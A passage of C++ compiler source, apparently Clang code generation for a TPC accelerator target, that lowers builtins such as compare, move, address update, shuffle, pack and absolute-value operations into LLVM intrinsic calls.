(auto *Cast = dyn_cast<ImplicitCastExpr>(X0))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n std::swap(X0, X1);\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X1))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n X1 = Cast->getSubExpr();\n\n Value *Src1 = CGF->EmitScalarExpr(X0);\n Value *Src2 = CGF->EmitScalarExpr(X1);\n Value *DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(Src1OpNum)->getType()));\n Value *SwitchSet = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { ResultTy,\n Src1->getType(),\n Src2->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Src1, Src2, DT, SwitchSet, Income, Predicate, Polarity});\n return Result;\n}\n\n\nstatic Value *emit_CMP_EQ(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_CMP(CGF, BuiltinID, E, Intrinsic::tpc_cmp_eq);\n}\n\nstatic Value *emit_CMP_NEQ(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_CMP(CGF, BuiltinID, E, Intrinsic::tpc_cmp_neq);\n}\n\nstatic Value *emit_CMP_LESS(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_CMP(CGF, BuiltinID, E, Intrinsic::tpc_cmp_less);\n}\n\nstatic Value *emit_CMP_LEQ(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_CMP(CGF, BuiltinID, E, Intrinsic::tpc_cmp_leq);\n}\n\nstatic Value *emit_CMP_GRT(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_CMP(CGF, BuiltinID, E, Intrinsic::tpc_cmp_grt);\n}\n\nstatic Value *emit_CMP_GEQ(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_CMP(CGF, BuiltinID, E, Intrinsic::tpc_cmp_geq);\n}\n\n\n// int32_t mov_irf_dim(int5 src, const int8_t dim, int switches, int32_t income, bool predicate, bool polarity)\n// int32_t_pair_t long_irf_dim(int5 src, const int8_t dim, int switches, int32_t_pair_t income, bool predicate, bool polarity);\nstatic Value *emit_MOV_IRF_DIM(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned DimOpNum = 1;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n assert(NumArgs == 6);\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n Value *Src = CGF->EmitScalarExpr(E->getArg(SrcOpNum));\n Value *Dim = CGF->EmitScalarExpr(E->getArg(DimOpNum));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_mov_irf_dim,\n {Income->getType()});\n Value *Result = CGF->Builder.CreateCall(Callee,\n { Src, Dim, Switches, Income, Predicate, Polarity });\n\n\n if (Multiplicity == 0)\n return Result;\n if (Multiplicity == 2)\n Result = getStructFieldFromDoubleScalarRegister(*CGF, FEResultTy, Result);\n else\n llvm_unreachable(\"Unhandled case\");\n\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n\n return Result;\n}\n\n\n// bool256 v_i1_mov_b (int32_t a, const int flavor, int switches, bool256 income, bool predicate, bool polarity);\n// bool256 v_i1_mov_vb(int32_t a, const int flavor, int switches, bool256 income, bool256 predicate, bool polarity);\nstatic Value *emit_MOV_FLAVOR(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n SmallVector<llvm::Value *, 8> Args;\n\n Args.push_back(CGF->EmitScalarExpr(E->getArg(0))); // src\n Args.push_back(CGF->EmitScalarExpr(E->getArg(1))); // flavor\n Args.push_back(CGF->EmitScalarExpr(E->getArg(2))); // switches\n Args.push_back(CGF->EmitScalarExpr(E->getArg(3))); // income\n llvm::Value *Predicate = emitPredicate(CGF, E->getArg(4));\n Args.push_back(Predicate);\n Args.push_back(CGF->EvaluateExprAsBool(E->getArg(5))); // polarity\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_mov_flavor,\n { Predicate->getType() } );\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n return Result;\n}\n\n\n// int5 i_i32_mov(int5 src, int dimmask, int switches, int5 income, bool predicate, bool polarity);\nstatic Value *emit_MOV_IRF(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n SmallVector<llvm::Value *, 8> Args;\n\n llvm::Value *Src = CGF->EmitScalarExpr(E->getArg(0));\n Args.push_back(Src); // src\n Args.push_back(CGF->EmitScalarExpr(E->getArg(1))); // dimmask\n Args.push_back(CGF->EmitScalarExpr(E->getArg(2))); // switches\n Args.push_back(CGF->EmitScalarExpr(E->getArg(3))); // income\n Args.push_back(emitPredicate(CGF, E->getArg(4))); // predicate\n Args.push_back(CGF->EvaluateExprAsBool(E->getArg(5))); // polarity\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_mov_mask,\n { Src->getType() });\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n\n// bool s_i1_mov(bool a, int switches, uint8_t income, bool predicate, bool polarity);\n// float64 v_f32_mov_vb (float64 a, int switches, float64 income, bool64 predicate, bool polarity);\nstatic Value *emit_MOV(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n // Determine switches.\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_X2_MOV;\n switch (BuiltinID) {\n case TPC::BIs_f32_mov:\n case TPC::BIs_bf16_mov:\n case TPC::BIs_i32_mov:\n case TPC::BIs_u32_mov:\n case TPC::BIs_i16_mov:\n case TPC::BIs_u16_mov:\n case TPC::BIs_i8_mov:\n case TPC::BIs_u8_mov:\n case TPC::BIs_i1_mov:\n case TPC::BIv_i1_mov_b:\n case TPC::BIv_i1_mov_vb:\n case TPC::BIv_i1_mov_i1_b:\n case TPC::BIv_i1_mov_i1_vb:\n case TPC::BIv_f32_mov_vb:\n case TPC::BIv_bf16_mov_vb:\n case TPC::BIv_i32_mov_vb:\n case TPC::BIv_u32_mov_vb:\n case TPC::BIv_i16_mov_vb:\n case TPC::BIv_u16_mov_vb:\n case TPC::BIv_i8_mov_vb:\n case TPC::BIv_u8_mov_vb:\n case TPC::BIv_f32_mov_b:\n case TPC::BIv_bf16_mov_b:\n case TPC::BIv_i32_mov_b:\n case TPC::BIv_u32_mov_b:\n case TPC::BIv_i16_mov_b:\n case TPC::BIv_u16_mov_b:\n case TPC::BIv_i8_mov_b:\n case TPC::BIv_u8_mov_b:\n RequiredSwitches = 0;\n break;\n default:\n llvm_unreachable(\"Unhandled MOV intrinsic\");\n }\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n\n const Expr *SrcArg = E->getArg(SrcOpNum);\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(SrcArg))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n SrcArg = Cast->getSubExpr();\n\n // Prepare arguments.\n Value *Src = emitOperand(CGF, SrcArg);\n Value *DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(SrcOpNum)->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_mov,\n { Income->getType(),\n Src->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Src, DT, Switches, Income, Predicate, Polarity});\n assert(Result);\n\n if (Multiplicity == 0)\n return Result;\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// uint32_t_pair_t get_addr(__global void *addr, int switches, uint32_t_pair_t income, bool predicate, bool polarity);\nstatic Value *emit_GET_ADDR(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned SrcOpNum = 0;\n const unsigned SwOpNum = 1;\n const unsigned IncomeOpNum = 2;\n const unsigned PredOpNum = 3;\n const unsigned PolarityOpNum = 4;\n\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 2 && \"Only value 2 is available\");\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n Value *Src = emitOperand(CGF, E->getArg(SrcOpNum));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(SwOpNum));\n Value *Predicate = CGF->EvaluateExprAsBool(E->getArg(PredOpNum));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(PolarityOpNum));\n Value *Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_get_addr);\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Src, Switches, Income, Predicate, Polarity});\n assert(Result);\n Result = getStructFieldFromDoubleScalarRegister(*CGF, FEResultTy, Result);\n\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n\n return Result;\n}\n\n\n// void update_addr(__global void **ptr, uint32_t_pair_t addr, int switches, bool predicate, bool polarity);\nstatic Value *emit_UPDATE_ADDR(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned PtrOpNum = 0;\n const unsigned AddrOpNum = 1;\n const unsigned SwOpNum = 2;\n const unsigned PredOpNum = 3;\n const unsigned PolarityOpNum = 4;\n\n const auto *PtrTy = cast<clang::PointerType>(E->getArg(PtrOpNum)->getType());\n Value *Ptr = CGF->EmitScalarExpr(E->getArg(PtrOpNum));\n MaybeAlign MAlign = Ptr->getPointerAlignment(CGF->CGM.getDataLayout());\n unsigned AlignValue = 1;\n if (MAlign) {\n llvm::Align A = *MAlign;\n AlignValue = A.value();\n }\n\n Address Ptr0 = CGF->EmitLoadOfPointer(\n Address(Ptr, CharUnits::fromQuantity(AlignValue)),\n cast<clang::PointerType>(E->getArg(PtrOpNum)->getType()));\n\n Value *Addr = emitOperand(CGF, E->getArg(AddrOpNum));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(SwOpNum));\n Value *Predicate = CGF->EvaluateExprAsBool(E->getArg(PredOpNum));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(PolarityOpNum));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_update_addr);\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Ptr0.getPointer(), Addr, Switches, Predicate, Polarity});\n assert(Result);\n\n CharUnits Alignment;\n if (auto *AI = dyn_cast<AllocaInst>(Ptr))\n Alignment = CharUnits::fromQuantity(AI->getAlignment());\n else\n Alignment = CharUnits::fromQuantity(4);\n Address VarPtr(Ptr, Alignment);\n Value *PtrUpd = Result;\n CGF->EmitStoreOfScalar(PtrUpd, CGF->MakeAddrLValue(VarPtr, QualType(PtrTy, 0)));\n\n return UndefValue::get(CGF->VoidTy);\n}\n\n\n// float s_f32_calc_fp_special(float src1, float src2, const int func, float income, bool predicate, bool polarity);\n//\nstatic Value *emit_CALC_FP_SPECIAL(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n SmallVector<llvm::Value *, 8> Args;\n\n llvm::Type *ResultTy = CGF->ConvertType(E->getType());\n Value *X0 = CGF->EmitScalarExpr(E->getArg(0));\n Value *X1 = CGF->EmitScalarExpr(E->getArg(1));\n Value *SwitchSet = CGF->EmitScalarExpr(E->getArg(2));\n auto SwVal = cast<ConstantInt>(SwitchSet);\n\n // In the case of unary function replace the second argument with UNDEF.\n switch (SwVal->getLimitedValue()) {\n case TPCII::SW_DIV:\n case TPCII::SW_POW:\n break;\n default:\n X1 = UndefValue::get(X1->getType());\n }\n\n Args.push_back(X0);\n Args.push_back(X1);\n Args.push_back( /* DT */ llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(0)->getType())));\n Args.push_back(SwitchSet);\n Args.push_back(/* Income */ CGF->EmitScalarExpr(E->getArg(3)));\n Value *Predicate = emitPredicate(CGF, E->getArg(4));\n Args.push_back(Predicate);\n Args.push_back(/*Polarity*/ CGF->EmitScalarExpr(E->getArg(5)));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_calc_fp_special,\n { ResultTy,\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n return Result;\n}\n\n\nstatic Value *emit_ASO(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Switches = CGF->EmitScalarExpr(E->getArg(0));\n Value *Predicate = CGF->EvaluateExprAsBool(E->getArg(1));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(2));\n Function * Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_aso);\n return CGF->Builder.CreateCall(Callee, { Switches, Predicate, Polarity });\n}\n\n\nstatic Value *emit_CACHE_FLUSH(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Switches = CGF->EmitScalarExpr(E->getArg(0));\n Value *Predicate = CGF->EvaluateExprAsBool(E->getArg(1));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(2));\n Function * Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_cache_flush);\n return CGF->Builder.CreateCall(Callee, { Switches, Predicate, Polarity });\n}\n\n\nstatic Value *emit_CACHE_INVALIDATE(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Switches = CGF->EmitScalarExpr(E->getArg(0));\n Value *Predicate = CGF->EvaluateExprAsBool(E->getArg(1));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(2));\n Function * Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_cache_invalidate);\n return CGF->Builder.CreateCall(Callee, { Switches, Predicate, Polarity });\n}\n\n\n// int64 v_i32_shuffle_b (int64 a, uchar256 b, int switches, int64 income, bool predicate, bool polarity);\n//\nstatic Value *emit_SHUFFLE(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n SmallVector<llvm::Value *, 8> Args;\n\n const Expr *Src1 = E->getArg(0);\n const Expr *Src2 = E->getArg(1);\n llvm::Type *ResultTy = CGF->ConvertType(E->getType());\n\n Args.push_back(/* Src1 */ CGF->EmitScalarExpr(Src1));\n Args.push_back(/* Src2 */ CGF->EmitScalarExpr(Src2));\n Args.push_back(/* DT */ llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(Src1->getType())));\n Args.push_back(/* SW */ CGF->EmitScalarExpr(E->getArg(2)));\n Args.push_back(/* Income */ CGF->EmitScalarExpr(E->getArg(3)));\n Args.push_back(/* Predicate */ emitPredicate(CGF, E->getArg(4)));\n Args.push_back(/* Polarity */ CGF->EvaluateExprAsBool(E->getArg(5)));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_shuffle,\n { ResultTy, Args[Args.size() - 2]->getType() });\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n\n// short128 v_i16_pack_b(short128 a, int switches, short128 income, bool predicate, bool polarity);\n//\nstatic Value *emit_PACK(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n SmallVector<llvm::Value *, 8> Args;\n\n const Expr *Src = E->getArg(0);\n llvm::Type *ResultTy = CGF->ConvertType(E->getType());\n\n Args.push_back(/* Src */ CGF->EmitScalarExpr(Src));\n Args.push_back(/* DT */ llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(Src->getType())));\n Args.push_back(/* SW */ CGF->EmitScalarExpr(E->getArg(1)));\n Args.push_back(/* Income */ CGF->EmitScalarExpr(E->getArg(2)));\n Args.push_back(/* Predicate */ emitPredicate(CGF, E->getArg(3)));\n Args.push_back(/* Polarity */ CGF->EmitScalarExpr(E->getArg(4)));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_pack,\n { ResultTy, Args[Args.size() - 2]->getType() });\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n\n// short128 v_i16_pack_b(short128 a, int switches, short128 income, bool predicate, bool polarity);\n//\nstatic Value *emit_UNPACK(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned IncomeValueNo = 3;\n SmallVector<llvm::Value *, 8> Args;\n\n const Expr *Src = E->getArg(0);\n llvm::Type *ResultTy = CGF->ConvertType(E->getType());\n\n Args.push_back(/* Src */ CGF->EmitScalarExpr(Src));\n Args.push_back(/* DT */ llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(Src->getType())));\n Args.push_back(/* SW */ CGF->EmitScalarExpr(E->getArg(1)));\n Args.push_back(/* Income */ CGF->EmitScalarExpr(E->getArg(2)));\n Args.push_back(/* Predicate */ emitPredicate(CGF, E->getArg(3)));\n Args.push_back(/* Polarity */ CGF->EmitScalarExpr(E->getArg(4)));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_unpack,\n { ResultTy, Args[IncomeValueNo + 1]->getType() });\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n\n// float64 get_lut_entry_and_interval_start_b(float64, const int8_t shift, int switches, uchar256 income, bool predicate, bool polarity);\n//\nstatic Value *emit_GET_LUT(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n assert(NumArgs == 6);\n const unsigned SrcOpNum = 0;\n const unsigned ShiftOpNum = 1;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Prepare arguments.\n Value *Src = CGF->EmitScalarExpr(E->getArg(SrcOpNum));\n Value *Shift = CGF->EmitScalarExpr(E->getArg(ShiftOpNum));\n Value *DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(SrcOpNum)->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_get_lut_entry,\n { ResultTy,\n Src->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Src, Shift, DT, Switches, Income, Predicate, Polarity});\n assert(Result);\n\n if (Multiplicity == 0)\n return Result;\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// float64 v_f32_form_fp_num_b(float64 a, float64 b, float64 c, int switches, float64 income, bool predicate, bool polarity)\n//\nstatic Value *emit_FORM_FP_NUMBER(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned SrcAOpNum = 0;\n const unsigned SrcBOpNum = 1;\n const unsigned SrcCOpNum = 2;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_EXP_IS_NUM;\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n switch (BuiltinID) {\n case TPC::BIv_f32_form_fp_num_b:\n case TPC::BIv_f32_form_fp_num_vb:\n case TPC::BIv_bf16_form_fp_num_b:\n case TPC::BIv_bf16_form_fp_num_vb:\n//fp8\n RequiredSwitches = 0;\n break;\n case TPC::BIv_f32_form_fp_num_ie_b:\n case TPC::BIv_f32_form_fp_num_ie_vb:\n case TPC::BIv_bf16_form_fp_num_ie_b : \n case TPC::BIv_bf16_form_fp_num_ie_vb: \n //fp8\n RequiredSwitches = TPCII::SW_EXP_IS_NUM;\n break;\n default:\n llvm_unreachable(\"Unhandled FORM_FP intrinsic\");\n }\n // Switch SW_EXP_IS_NUM should not be used directly. Instead, users must use\n // corresponding functions with `_ie_` suffix, because if this switch is used,\n // type of function arguments change. Unfortunately, this switch is used in\n // kernels so don't clear the corresponding bit.\n //SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n\n // Prepare arguments.\n Value *SrcA = CGF->EmitScalarExpr(E->getArg(SrcAOpNum));\n Value *SrcB = CGF->EmitScalarExpr(E->getArg(SrcBOpNum));\n Value *SrcC = CGF->EmitScalarExpr(E->getArg(SrcCOpNum));\n Value *DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(SrcBOpNum)->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_form_fp_num,\n { ResultTy,\n SrcA->getType(),\n Predicate->getType() });\n return CGF->Builder.CreateCall(Callee,\n {SrcA, SrcB, SrcC, DT, Switches, Income, Predicate, Polarity});\n}\n\n\n// int32_t s_i32_abs(int32_t a, int switches, int32_t income, bool predicate, bool polarity);\n// int5 i_i32_abs(int5 a, int dimmask, int switches, int5 income, bool predicate, bool polarity);\n//\nstatic Value *emit_ABS(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned DimMaskOpNum = 1;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n bool WithMask = NumArgs == 6;\n assert(WithMask || NumArgs == 5);\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Prepare arguments.\n SmallVector<llvm::Value *, 6> Args;\n Value *Src = CGF->EmitScalarExpr(E->getArg(SrcOpNum));\n Args.push_back(Src);\n if (WithMask)\n Args.push_back(CGF->EmitScalarExpr(E->getArg(DimMaskOpNum)));\n Args.push_back(llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(SrcOpNum)->getType())));\n Args.push_back(llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (!WithMask && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function* Callee;\n if (WithMask) {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_abs_mask,\n { Src->getType() });\n } else {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_abs,\n { ResultTy,\n Src->getType(),\n Predicate->getType() });\n }\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n\n// int64 v_i32_not_b(int64 a, int switches, int64 income, bool predicate, bool polarity);\n// int5 i_i32_not(int5 a, int dimmask, const int switches, int5 income, bool predicate, bool polarity);\n//\nstatic Value *emit_NOT(CodeGenFunction* CGF, unsigned BuiltinID,\n const CallExpr* E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned DimMaskOpNum = 1;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n bool WithMask = NumArgs == 6;\n assert(WithMask || NumArgs == 5);\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Prepare arguments.\n SmallVector<llvm::Value *, 6> Args;\n Value 